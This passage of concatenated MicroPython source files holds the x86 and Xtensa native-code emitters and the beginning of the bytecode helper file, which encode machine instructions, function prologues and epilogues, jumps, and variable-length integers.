hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include #include #include "py/mpconfig.h" // wrapper around everything in this file #if MICROPY_EMIT_X86 #include "py/asmx86.h" /* all offsets are measured in multiples of 4 bytes */ #define WORD_SIZE (4) #define OPCODE_NOP (0x90) #define OPCODE_PUSH_R32 (0x50) //#define OPCODE_PUSH_I32 (0x68) //#define OPCODE_PUSH_M32 (0xff) /* /6 */ #define OPCODE_POP_R32 (0x58) #define OPCODE_RET (0xc3) //#define OPCODE_MOV_I8_TO_R8 (0xb0) /* +rb */ #define OPCODE_MOV_I32_TO_R32 (0xb8) //#define OPCODE_MOV_I32_TO_RM32 (0xc7) #define OPCODE_MOV_R8_TO_RM8 (0x88) /* /r */ #define OPCODE_MOV_R32_TO_RM32 (0x89) /* /r */ #define OPCODE_MOV_RM32_TO_R32 (0x8b) /* /r */ #define OPCODE_MOVZX_RM8_TO_R32 (0xb6) /* 0x0f 0xb6/r */ #define OPCODE_MOVZX_RM16_TO_R32 (0xb7) /* 0x0f 0xb7/r */ #define OPCODE_LEA_MEM_TO_R32 (0x8d) /* /r */ #define OPCODE_AND_R32_TO_RM32 (0x21) /* /r */ #define OPCODE_OR_R32_TO_RM32 (0x09) /* /r */ #define OPCODE_XOR_R32_TO_RM32 (0x31) /* /r */ #define OPCODE_ADD_R32_TO_RM32 (0x01) #define OPCODE_ADD_I32_TO_RM32 (0x81) /* /0 */ #define OPCODE_ADD_I8_TO_RM32 (0x83) /* /0 */ #define OPCODE_SUB_R32_FROM_RM32 (0x29) #define OPCODE_SUB_I32_FROM_RM32 (0x81) /* /5 */ #define OPCODE_SUB_I8_FROM_RM32 (0x83) /* /5 */ //#define OPCODE_SHL_RM32_BY_I8 (0xc1) /* /4 */ //#define OPCODE_SHR_RM32_BY_I8 (0xc1) /* /5 */ //#define OPCODE_SAR_RM32_BY_I8 (0xc1) /* /7 */ #define OPCODE_SHL_RM32_CL (0xd3) /* /4 */ #define OPCODE_SAR_RM32_CL (0xd3) /* /7 */ //#define OPCODE_CMP_I32_WITH_RM32 (0x81) /* /7 */ //#define OPCODE_CMP_I8_WITH_RM32 (0x83) /* /7 */ #define OPCODE_CMP_R32_WITH_RM32 (0x39) //#define OPCODE_CMP_RM32_WITH_R32 (0x3b) #define OPCODE_TEST_R8_WITH_RM8 (0x84) /* /r */ #define OPCODE_JMP_REL8 (0xeb) #define OPCODE_JMP_REL32 (0xe9) #define OPCODE_JCC_REL8 (0x70) /* | jcc type */ #define OPCODE_JCC_REL32_A (0x0f) #define OPCODE_JCC_REL32_B (0x80) /* | jcc type */ #define OPCODE_SETCC_RM8_A (0x0f) #define OPCODE_SETCC_RM8_B (0x90) /* | jcc type, /0 */ #define OPCODE_CALL_REL32 (0xe8) #define OPCODE_CALL_RM32 (0xff) /* /2 */ #define OPCODE_LEAVE (0xc9) #define MODRM_R32(x) ((x) << 3) #define MODRM_RM_DISP0 (0x00) #define MODRM_RM_DISP8 (0x40) #define MODRM_RM_DISP32 (0x80) #define MODRM_RM_REG (0xc0) #define MODRM_RM_R32(x) (x) #define OP_SIZE_PREFIX (0x66) #define IMM32_L0(x) ((x) & 0xff) #define IMM32_L1(x) (((x) >> 8) & 0xff) #define IMM32_L2(x) (((x) >> 16) & 0xff) #define IMM32_L3(x) (((x) >> 24) & 0xff) #define SIGNED_FIT8(x) (((x) & 0xffffff80) == 0) || (((x) & 0xffffff80) == 0xffffff80) STATIC void asm_x86_write_byte_1(asm_x86_t *as, byte b1) { byte* c = mp_asm_base_get_cur_to_write_bytes(&as->base, 1); if (c != NULL) { c[0] = b1; } } STATIC void asm_x86_write_byte_2(asm_x86_t *as, byte b1, byte b2) { byte* c = mp_asm_base_get_cur_to_write_bytes(&as->base, 2); if (c != NULL) { c[0] = b1; c[1] = b2; } } STATIC void asm_x86_write_byte_3(asm_x86_t *as, byte b1, byte b2, byte b3) { byte* c = mp_asm_base_get_cur_to_write_bytes(&as->base, 3); if (c != NULL) { c[0] = b1; c[1] = b2; c[2] = b3; } } STATIC void asm_x86_write_word32(asm_x86_t *as, int w32) { byte* c = mp_asm_base_get_cur_to_write_bytes(&as->base, 4); if (c != NULL) { c[0] = IMM32_L0(w32); c[1] = IMM32_L1(w32); c[2] = IMM32_L2(w32); c[3] = IMM32_L3(w32); } } STATIC void asm_x86_write_r32_disp(asm_x86_t *as, int r32, int disp_r32, int disp_offset) { assert(disp_r32 != ASM_X86_REG_ESP); if (disp_offset == 0 && disp_r32 != ASM_X86_REG_EBP) { asm_x86_write_byte_1(as, MODRM_R32(r32) | MODRM_RM_DISP0 | MODRM_RM_R32(disp_r32)); } else if (SIGNED_FIT8(disp_offset)) { asm_x86_write_byte_2(as, MODRM_R32(r32) | MODRM_RM_DISP8 | MODRM_RM_R32(disp_r32), IMM32_L0(disp_offset)); } else { asm_x86_write_byte_1(as, MODRM_R32(r32) | MODRM_RM_DISP32 | MODRM_RM_R32(disp_r32)); asm_x86_write_word32(as, disp_offset); } } STATIC void asm_x86_generic_r32_r32(asm_x86_t *as, int dest_r32, int src_r32, int op) { asm_x86_write_byte_2(as, op, MODRM_R32(src_r32) | MODRM_RM_REG | MODRM_RM_R32(dest_r32)); } STATIC void asm_x86_nop(asm_x86_t *as) { asm_x86_write_byte_1(as, OPCODE_NOP); } STATIC void asm_x86_push_r32(asm_x86_t *as, int src_r32) { asm_x86_write_byte_1(as, OPCODE_PUSH_R32 | src_r32); } #if 0 void asm_x86_push_i32(asm_x86_t *as, int src_i32) { asm_x86_write_byte_1(as, OPCODE_PUSH_I32); asm_x86_write_word32(as, src_i32); } void asm_x86_push_disp(asm_x86_t *as, int src_r32, int src_offset) { asm_x86_write_byte_1(as, OPCODE_PUSH_M32); asm_x86_write_r32_disp(as, 6, src_r32, src_offset); } #endif STATIC void asm_x86_pop_r32(asm_x86_t *as, int dest_r32) { asm_x86_write_byte_1(as, OPCODE_POP_R32 | dest_r32); } STATIC void asm_x86_ret(asm_x86_t *as) { asm_x86_write_byte_1(as, OPCODE_RET); } void asm_x86_mov_r32_r32(asm_x86_t *as, int dest_r32, int src_r32) { asm_x86_generic_r32_r32(as, dest_r32, src_r32, OPCODE_MOV_R32_TO_RM32); } void asm_x86_mov_r8_to_mem8(asm_x86_t *as, int src_r32, int dest_r32, int dest_disp) { asm_x86_write_byte_1(as, OPCODE_MOV_R8_TO_RM8); asm_x86_write_r32_disp(as, src_r32, dest_r32, dest_disp); } void asm_x86_mov_r16_to_mem16(asm_x86_t *as, int src_r32, int dest_r32, int dest_disp) { asm_x86_write_byte_2(as, OP_SIZE_PREFIX, OPCODE_MOV_R32_TO_RM32); asm_x86_write_r32_disp(as, src_r32, dest_r32, dest_disp); } void asm_x86_mov_r32_to_mem32(asm_x86_t *as, int src_r32, int dest_r32, int dest_disp) { asm_x86_write_byte_1(as, OPCODE_MOV_R32_TO_RM32); asm_x86_write_r32_disp(as, src_r32, dest_r32, dest_disp); } void asm_x86_mov_mem8_to_r32zx(asm_x86_t *as, int src_r32, int src_disp, int dest_r32) { asm_x86_write_byte_2(as, 0x0f, OPCODE_MOVZX_RM8_TO_R32); asm_x86_write_r32_disp(as, dest_r32, src_r32, src_disp); } void asm_x86_mov_mem16_to_r32zx(asm_x86_t *as, int src_r32, int src_disp, int dest_r32) { asm_x86_write_byte_2(as, 0x0f, OPCODE_MOVZX_RM16_TO_R32); asm_x86_write_r32_disp(as, dest_r32, src_r32, src_disp); } void asm_x86_mov_mem32_to_r32(asm_x86_t *as, int src_r32, int src_disp, int dest_r32) { asm_x86_write_byte_1(as, OPCODE_MOV_RM32_TO_R32); asm_x86_write_r32_disp(as, dest_r32, src_r32, src_disp); } STATIC void asm_x86_lea_disp_to_r32(asm_x86_t *as, int src_r32, int src_disp, int dest_r32) { asm_x86_write_byte_1(as, OPCODE_LEA_MEM_TO_R32); asm_x86_write_r32_disp(as, dest_r32, src_r32, src_disp); } #if 0 void asm_x86_mov_i8_to_r8(asm_x86_t *as, int src_i8, int dest_r32) { asm_x86_write_byte_2(as, OPCODE_MOV_I8_TO_R8 | dest_r32, src_i8); } #endif void asm_x86_mov_i32_to_r32(asm_x86_t *as, int32_t src_i32, int dest_r32) { asm_x86_write_byte_1(as, OPCODE_MOV_I32_TO_R32 | dest_r32); asm_x86_write_word32(as, src_i32); } // src_i32 is stored as a full word in the code, and aligned to machine-word boundary void asm_x86_mov_i32_to_r32_aligned(asm_x86_t *as, int32_t src_i32, int dest_r32) { // mov instruction uses 1 byte for the instruction, before the i32 while (((as->base.code_offset + 1) & (WORD_SIZE - 1)) != 0) { asm_x86_nop(as); } asm_x86_mov_i32_to_r32(as, src_i32, dest_r32); } void asm_x86_and_r32_r32(asm_x86_t *as, int dest_r32, int src_r32) { asm_x86_generic_r32_r32(as, dest_r32, src_r32, OPCODE_AND_R32_TO_RM32); } void asm_x86_or_r32_r32(asm_x86_t *as, int dest_r32, int src_r32) { asm_x86_generic_r32_r32(as, dest_r32, src_r32, OPCODE_OR_R32_TO_RM32); } void asm_x86_xor_r32_r32(asm_x86_t *as, int dest_r32, int src_r32) { asm_x86_generic_r32_r32(as, dest_r32, src_r32, OPCODE_XOR_R32_TO_RM32); } void asm_x86_shl_r32_cl(asm_x86_t* as, int dest_r32) { asm_x86_generic_r32_r32(as, dest_r32, 4, OPCODE_SHL_RM32_CL); } void asm_x86_sar_r32_cl(asm_x86_t* as, int dest_r32) { asm_x86_generic_r32_r32(as, dest_r32, 7, OPCODE_SAR_RM32_CL); } void asm_x86_add_r32_r32(asm_x86_t *as, int dest_r32, int src_r32) { asm_x86_generic_r32_r32(as, dest_r32, src_r32, OPCODE_ADD_R32_TO_RM32); } STATIC void asm_x86_add_i32_to_r32(asm_x86_t *as, int src_i32, int dest_r32) { if (SIGNED_FIT8(src_i32)) { asm_x86_write_byte_2(as, OPCODE_ADD_I8_TO_RM32, MODRM_R32(0) | MODRM_RM_REG | MODRM_RM_R32(dest_r32)); asm_x86_write_byte_1(as, src_i32 & 0xff); } else { asm_x86_write_byte_2(as, OPCODE_ADD_I32_TO_RM32, MODRM_R32(0) | MODRM_RM_REG | MODRM_RM_R32(dest_r32)); asm_x86_write_word32(as, src_i32); } } void asm_x86_sub_r32_r32(asm_x86_t *as, int dest_r32, int src_r32) { asm_x86_generic_r32_r32(as, dest_r32, src_r32, OPCODE_SUB_R32_FROM_RM32); } STATIC void asm_x86_sub_r32_i32(asm_x86_t *as, int dest_r32, int src_i32) { if (SIGNED_FIT8(src_i32)) { // defaults to 32 bit operation asm_x86_write_byte_2(as, OPCODE_SUB_I8_FROM_RM32, MODRM_R32(5) | MODRM_RM_REG | MODRM_RM_R32(dest_r32)); asm_x86_write_byte_1(as, src_i32 & 0xff); } else { // defaults to 32 bit operation asm_x86_write_byte_2(as, OPCODE_SUB_I32_FROM_RM32, MODRM_R32(5) | MODRM_RM_REG | MODRM_RM_R32(dest_r32)); asm_x86_write_word32(as, src_i32); } } void asm_x86_mul_r32_r32(asm_x86_t *as, int dest_r32, int src_r32) { // imul reg32, reg/mem32 -- 0x0f 0xaf /r asm_x86_write_byte_3(as, 0x0f, 0xaf, MODRM_R32(dest_r32) | MODRM_RM_REG | MODRM_RM_R32(src_r32)); } #if 0 /* shifts not tested */ void asm_x86_shl_r32_by_imm(asm_x86_t *as, int r32, int imm) { asm_x86_write_byte_2(as, OPCODE_SHL_RM32_BY_I8, MODRM_R32(4) | MODRM_RM_REG | MODRM_RM_R32(r32)); asm_x86_write_byte_1(as, imm); } void asm_x86_shr_r32_by_imm(asm_x86_t *as, int r32, int imm) { asm_x86_write_byte_2(as, OPCODE_SHR_RM32_BY_I8, MODRM_R32(5) | MODRM_RM_REG | MODRM_RM_R32(r32)); asm_x86_write_byte_1(as, imm); } void asm_x86_sar_r32_by_imm(asm_x86_t *as, int r32, int imm) { asm_x86_write_byte_2(as, OPCODE_SAR_RM32_BY_I8, MODRM_R32(7) | MODRM_RM_REG | MODRM_RM_R32(r32)); asm_x86_write_byte_1(as, imm); } #endif void asm_x86_cmp_r32_with_r32(asm_x86_t *as, int src_r32_a, int src_r32_b) { asm_x86_write_byte_2(as, OPCODE_CMP_R32_WITH_RM32, MODRM_R32(src_r32_a) | MODRM_RM_REG | MODRM_RM_R32(src_r32_b)); } #if 0 void asm_x86_cmp_i32_with_r32(asm_x86_t *as, int src_i32, int src_r32) { if (SIGNED_FIT8(src_i32)) { asm_x86_write_byte_2(as, OPCODE_CMP_I8_WITH_RM32, MODRM_R32(7) | MODRM_RM_REG | MODRM_RM_R32(src_r32)); asm_x86_write_byte_1(as, src_i32 & 0xff); } else { asm_x86_write_byte_2(as, OPCODE_CMP_I32_WITH_RM32, MODRM_R32(7) | MODRM_RM_REG | MODRM_RM_R32(src_r32)); asm_x86_write_word32(as, src_i32); } } #endif void asm_x86_test_r8_with_r8(asm_x86_t *as, int src_r32_a, int src_r32_b) { // TODO implement for other registers assert(src_r32_a == ASM_X86_REG_EAX); assert(src_r32_b == ASM_X86_REG_EAX); asm_x86_write_byte_2(as, OPCODE_TEST_R8_WITH_RM8, MODRM_R32(src_r32_a) | MODRM_RM_REG | MODRM_RM_R32(src_r32_b)); } void asm_x86_setcc_r8(asm_x86_t *as, mp_uint_t jcc_type, int dest_r8) { asm_x86_write_byte_3(as, OPCODE_SETCC_RM8_A, OPCODE_SETCC_RM8_B | jcc_type, MODRM_R32(0) | MODRM_RM_REG | MODRM_RM_R32(dest_r8)); } STATIC mp_uint_t get_label_dest(asm_x86_t *as, mp_uint_t label) { assert(label < as->base.max_num_labels); return as->base.label_offsets[label]; } void asm_x86_jmp_label(asm_x86_t *as, mp_uint_t label) { mp_uint_t dest = get_label_dest(as, label); mp_int_t rel = dest - as->base.code_offset; if (dest != (mp_uint_t)-1 && rel < 0) { // is a backwards jump, so we know the size of the jump on the first pass // calculate rel assuming 8 bit relative jump rel -= 2; if (SIGNED_FIT8(rel)) { asm_x86_write_byte_2(as, OPCODE_JMP_REL8, rel & 0xff); } else { rel += 2; goto large_jump; } } else { // is a forwards jump, so need to assume it's large large_jump: rel -= 5; asm_x86_write_byte_1(as, OPCODE_JMP_REL32); asm_x86_write_word32(as, rel); } } void asm_x86_jcc_label(asm_x86_t *as, mp_uint_t jcc_type, mp_uint_t label) { mp_uint_t dest = get_label_dest(as, label); mp_int_t rel = dest - as->base.code_offset; if (dest != (mp_uint_t)-1 && rel < 0) { // is a backwards jump, so we know the size of the jump on the first pass // calculate rel assuming 8 bit relative jump rel -= 2; if (SIGNED_FIT8(rel)) { asm_x86_write_byte_2(as, OPCODE_JCC_REL8 | jcc_type, rel & 0xff); } else { rel += 2; goto large_jump; } } else { // is a forwards jump, so need to assume it's large large_jump: rel -= 6; asm_x86_write_byte_2(as, OPCODE_JCC_REL32_A, OPCODE_JCC_REL32_B | jcc_type); asm_x86_write_word32(as, rel); } } void asm_x86_entry(asm_x86_t *as, mp_uint_t num_locals) { asm_x86_push_r32(as, ASM_X86_REG_EBP); asm_x86_mov_r32_r32(as, ASM_X86_REG_EBP, ASM_X86_REG_ESP); if (num_locals > 0) { asm_x86_sub_r32_i32(as, ASM_X86_REG_ESP, num_locals * WORD_SIZE); } asm_x86_push_r32(as, ASM_X86_REG_EBX); asm_x86_push_r32(as, ASM_X86_REG_ESI); asm_x86_push_r32(as, ASM_X86_REG_EDI); // TODO align stack on 16-byte boundary as->num_locals = num_locals; } void asm_x86_exit(asm_x86_t *as) { asm_x86_pop_r32(as, ASM_X86_REG_EDI); asm_x86_pop_r32(as, ASM_X86_REG_ESI); asm_x86_pop_r32(as, ASM_X86_REG_EBX); asm_x86_write_byte_1(as, OPCODE_LEAVE); asm_x86_ret(as); } #if 0 void asm_x86_push_arg(asm_x86_t *as, int src_arg_num) { asm_x86_push_disp(as, ASM_X86_REG_EBP, 2 * WORD_SIZE + src_arg_num * WORD_SIZE); } #endif void asm_x86_mov_arg_to_r32(asm_x86_t *as, int src_arg_num, int dest_r32) { asm_x86_mov_mem32_to_r32(as, ASM_X86_REG_EBP, 2 * WORD_SIZE + src_arg_num * WORD_SIZE, dest_r32); } #if 0 void asm_x86_mov_r32_to_arg(asm_x86_t *as, int src_r32, int dest_arg_num) { asm_x86_mov_r32_to_mem32(as, src_r32, ASM_X86_REG_EBP, 2 * WORD_SIZE + dest_arg_num * WORD_SIZE); } #endif // locals: // - stored on the stack in ascending order // - numbered 0 through as->num_locals-1 // - EBP points above the last local // // | EBP // v // l0 l1 l2 ... l(n-1) // ^ ^ // | low address | high address in RAM // STATIC int asm_x86_local_offset_from_ebp(asm_x86_t *as, int local_num) { return (-as->num_locals + local_num) * WORD_SIZE; } void asm_x86_mov_local_to_r32(asm_x86_t *as, int src_local_num, int dest_r32) { asm_x86_mov_mem32_to_r32(as, ASM_X86_REG_EBP, asm_x86_local_offset_from_ebp(as, src_local_num), dest_r32); } void asm_x86_mov_r32_to_local(asm_x86_t *as, int src_r32, int dest_local_num) { asm_x86_mov_r32_to_mem32(as, src_r32, ASM_X86_REG_EBP, asm_x86_local_offset_from_ebp(as, dest_local_num)); } void asm_x86_mov_local_addr_to_r32(asm_x86_t *as, int local_num, int dest_r32) { int offset = asm_x86_local_offset_from_ebp(as, local_num); if (offset == 0) { asm_x86_mov_r32_r32(as, dest_r32, ASM_X86_REG_EBP); } else { asm_x86_lea_disp_to_r32(as, ASM_X86_REG_EBP, offset, dest_r32); } } #if 0 void asm_x86_push_local(asm_x86_t *as, int local_num) { asm_x86_push_disp(as, ASM_X86_REG_EBP, asm_x86_local_offset_from_ebp(as, local_num)); } void asm_x86_push_local_addr(asm_x86_t *as, int local_num, int temp_r32) { asm_x86_mov_r32_r32(as, temp_r32, ASM_X86_REG_EBP); asm_x86_add_i32_to_r32(as, asm_x86_local_offset_from_ebp(as, local_num), temp_r32); asm_x86_push_r32(as, temp_r32); } #endif void asm_x86_call_ind(asm_x86_t *as, void *ptr, mp_uint_t n_args, int temp_r32) { // TODO align stack on 16-byte boundary before the call assert(n_args <= 5); if (n_args > 4) { asm_x86_push_r32(as, ASM_X86_REG_ARG_5); } if (n_args > 3) { asm_x86_push_r32(as, ASM_X86_REG_ARG_4); } if (n_args > 2) { asm_x86_push_r32(as, ASM_X86_REG_ARG_3); } if (n_args > 1) { asm_x86_push_r32(as, ASM_X86_REG_ARG_2); } if (n_args > 0) { asm_x86_push_r32(as, ASM_X86_REG_ARG_1); } #ifdef __LP64__ // We wouldn't run x86 code on an x64 machine. This is here to enable // testing of the x86 emitter only. asm_x86_mov_i32_to_r32(as, (int32_t)(int64_t)ptr, temp_r32); #else // If we get here, sizeof(int) == sizeof(void*). asm_x86_mov_i32_to_r32(as, (int32_t)ptr, temp_r32); #endif asm_x86_write_byte_2(as, OPCODE_CALL_RM32, MODRM_R32(2) | MODRM_RM_REG | MODRM_RM_R32(temp_r32)); // this reduces code size by 2 bytes per call, but doesn't seem to speed it up at all /* asm_x86_write_byte_1(as, OPCODE_CALL_REL32); asm_x86_write_word32(as, ptr - (void*)(as->code_base + as->base.code_offset + 4)); */ // the caller must clean up the stack if (n_args > 0) { asm_x86_add_i32_to_r32(as, WORD_SIZE * n_args, ASM_X86_REG_ESP); } } #endif // MICROPY_EMIT_X86 ================================================ FILE: micropython/source/py/asmxtensa.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2016 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include "py/mpconfig.h" // wrapper around everything in this file #if MICROPY_EMIT_XTENSA || MICROPY_EMIT_INLINE_XTENSA #include "py/asmxtensa.h" #define WORD_SIZE (4) #define SIGNED_FIT8(x) ((((x) & 0xffffff80) == 0) || (((x) & 0xffffff80) == 0xffffff80)) #define SIGNED_FIT12(x) ((((x) & 0xfffff800) == 0) || (((x) & 0xfffff800) == 0xfffff800)) void asm_xtensa_end_pass(asm_xtensa_t *as) { as->num_const = as->cur_const; as->cur_const = 0; #if 0 // make a hex dump of the machine code if (as->base.pass == MP_ASM_PASS_EMIT) { uint8_t *d = as->base.code_base; printf("XTENSA ASM:"); for (int i = 0; i < ((as->base.code_size + 15) & ~15); ++i) { if (i % 16 == 0) { printf("\n%08x:", (uint32_t)&d[i]); } if (i % 2 == 0) { printf(" "); } printf("%02x", d[i]); } printf("\n"); } #endif } void asm_xtensa_entry(asm_xtensa_t *as, int num_locals) { // jump over the constants asm_xtensa_op_j(as, as->num_const * WORD_SIZE + 4 - 4); mp_asm_base_get_cur_to_write_bytes(&as->base, 1); // padding/alignment byte as->const_table = (uint32_t*)mp_asm_base_get_cur_to_write_bytes(&as->base, as->num_const * 4); // adjust the stack-pointer to store a0, a12, a13, a14 and locals, 16-byte aligned as->stack_adjust = (((4 + num_locals) * WORD_SIZE) + 15) & ~15; asm_xtensa_op_addi(as, ASM_XTENSA_REG_A1, ASM_XTENSA_REG_A1, -as->stack_adjust); // save return value (a0) and callee-save registers (a12, a13, a14) asm_xtensa_op_s32i_n(as, ASM_XTENSA_REG_A0, ASM_XTENSA_REG_A1, 0); asm_xtensa_op_s32i_n(as, ASM_XTENSA_REG_A12, ASM_XTENSA_REG_A1, 1); asm_xtensa_op_s32i_n(as, ASM_XTENSA_REG_A13, ASM_XTENSA_REG_A1, 2); asm_xtensa_op_s32i_n(as, ASM_XTENSA_REG_A14, ASM_XTENSA_REG_A1, 3); } void asm_xtensa_exit(asm_xtensa_t *as) { // restore registers asm_xtensa_op_l32i_n(as, ASM_XTENSA_REG_A14, ASM_XTENSA_REG_A1, 3); asm_xtensa_op_l32i_n(as, ASM_XTENSA_REG_A13, ASM_XTENSA_REG_A1, 2); asm_xtensa_op_l32i_n(as, ASM_XTENSA_REG_A12, ASM_XTENSA_REG_A1, 1); asm_xtensa_op_l32i_n(as, ASM_XTENSA_REG_A0, ASM_XTENSA_REG_A1, 0); // restore stack-pointer and return asm_xtensa_op_addi(as, ASM_XTENSA_REG_A1, ASM_XTENSA_REG_A1, as->stack_adjust); asm_xtensa_op_ret_n(as); } STATIC uint32_t get_label_dest(asm_xtensa_t *as, uint label) { assert(label < as->base.max_num_labels); return as->base.label_offsets[label]; } void asm_xtensa_op16(asm_xtensa_t *as, uint16_t op) { uint8_t *c = mp_asm_base_get_cur_to_write_bytes(&as->base, 2); if (c != NULL) { c[0] = op; c[1] = op >> 8; } } void asm_xtensa_op24(asm_xtensa_t *as, uint32_t op) { uint8_t *c = mp_asm_base_get_cur_to_write_bytes(&as->base, 3); if (c != NULL) { c[0] = op; c[1] = op >> 8; c[2] = op >> 16; } } void asm_xtensa_j_label(asm_xtensa_t *as, uint label) { uint32_t dest = get_label_dest(as, label); int32_t rel = dest - as->base.code_offset - 4; // we assume rel, as a signed int, fits in 18-bits asm_xtensa_op_j(as, rel); } void asm_xtensa_bccz_reg_label(asm_xtensa_t *as, uint cond, uint reg, uint label) { uint32_t dest = get_label_dest(as, label); int32_t rel = dest - as->base.code_offset - 4; if (as->base.pass == MP_ASM_PASS_EMIT && !SIGNED_FIT12(rel)) { printf("ERROR: xtensa bccz out of range\n"); } asm_xtensa_op_bccz(as, cond, reg, rel); } void asm_xtensa_bcc_reg_reg_label(asm_xtensa_t *as, uint cond, uint reg1, uint reg2, uint label) { uint32_t dest = get_label_dest(as, label); int32_t rel = dest - as->base.code_offset - 4; if (as->base.pass == MP_ASM_PASS_EMIT && !SIGNED_FIT8(rel)) { printf("ERROR: xtensa bcc out of range\n"); } asm_xtensa_op_bcc(as, cond, reg1, reg2, rel); } // convenience function; reg_dest must be different from reg_src[12] void asm_xtensa_setcc_reg_reg_reg(asm_xtensa_t *as, uint cond, uint reg_dest, uint reg_src1, uint reg_src2) { asm_xtensa_op_movi_n(as, reg_dest, 1); asm_xtensa_op_bcc(as, cond, reg_src1, reg_src2, 1); asm_xtensa_op_movi_n(as, reg_dest, 0); } void asm_xtensa_mov_reg_i32(asm_xtensa_t *as, uint reg_dest, uint32_t i32) { if (SIGNED_FIT12(i32)) { asm_xtensa_op_movi(as, reg_dest, i32); } else { // load the constant asm_xtensa_op_l32r(as, reg_dest, as->base.code_offset, 4 + as->cur_const * WORD_SIZE); // store the constant in the table if (as->const_table != NULL) { as->const_table[as->cur_const] = i32; } ++as->cur_const; } } void asm_xtensa_mov_local_reg(asm_xtensa_t *as, int local_num, uint reg_src) { asm_xtensa_op_s32i(as, reg_src, ASM_XTENSA_REG_A1, 4 + local_num); } void asm_xtensa_mov_reg_local(asm_xtensa_t *as, uint reg_dest, int local_num) { asm_xtensa_op_l32i(as, reg_dest, ASM_XTENSA_REG_A1, 4 + local_num); } void asm_xtensa_mov_reg_local_addr(asm_xtensa_t *as, uint reg_dest, int local_num) { asm_xtensa_op_mov_n(as, reg_dest, ASM_XTENSA_REG_A1); asm_xtensa_op_addi(as, reg_dest, reg_dest, (4 + local_num) * WORD_SIZE); } #endif // MICROPY_EMIT_XTENSA || MICROPY_EMIT_INLINE_XTENSA ================================================ FILE: micropython/source/py/bc.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2014 Damien P. George * Copyright (c) 2014 Paul Sokolovsky * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include #include "py/nlr.h" #include "py/objfun.h" #include "py/runtime0.h" #include "py/bc0.h" #include "py/bc.h" #if MICROPY_DEBUG_VERBOSE // print debugging info #define DEBUG_PRINT (1) #else // don't print debugging info #define DEBUG_PRINT (0) #define DEBUG_printf(...) (void)0 #endif mp_uint_t mp_decode_uint(const byte **ptr) { mp_uint_t unum = 0; byte val; const byte *p = *ptr; do { val = *p++; unum = (unum << 7) | (val & 0x7f); } while ((val & 0x80) != 0); *ptr = p; return unum; } // This function is used to help reduce stack usage at the caller, for the case when // the caller doesn't need to increase the ptr argument. If ptr is a local variable // and the caller uses mp_decode_uint(&ptr) instead of this function, then the compiler // must allocate a slot on the stack for ptr, and this slot cannot be reused for // anything else in the function because the pointer may have been stored in a global // and reused later in the function. mp_uint_t mp_decode_uint_value(const byte *ptr) { return mp_decode_uint(&ptr); } // This function is used to help reduce stack usage at the caller, for the case when // the caller doesn't need the actual value and just wants to skip over it. const byte *mp_decode_uint_skip(const byte *ptr) { while ((*ptr++) & 0x80) { } return ptr; } STATIC NORETURN void fun_pos_args_mismatch(mp_obj_fun_bc_t *f, size_t expected, size_t given) { #if MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE // generic message, used also for other argument issues (void)f; (void)expected; (void)given; mp_arg_error_terse_mismatch(); #elif MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_NORMAL (void)f; nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError, "function takes %d positional arguments but %d were given", expected, given)); #elif MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_DETAILED nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError, "%q() takes %d positional arguments but %d were given", 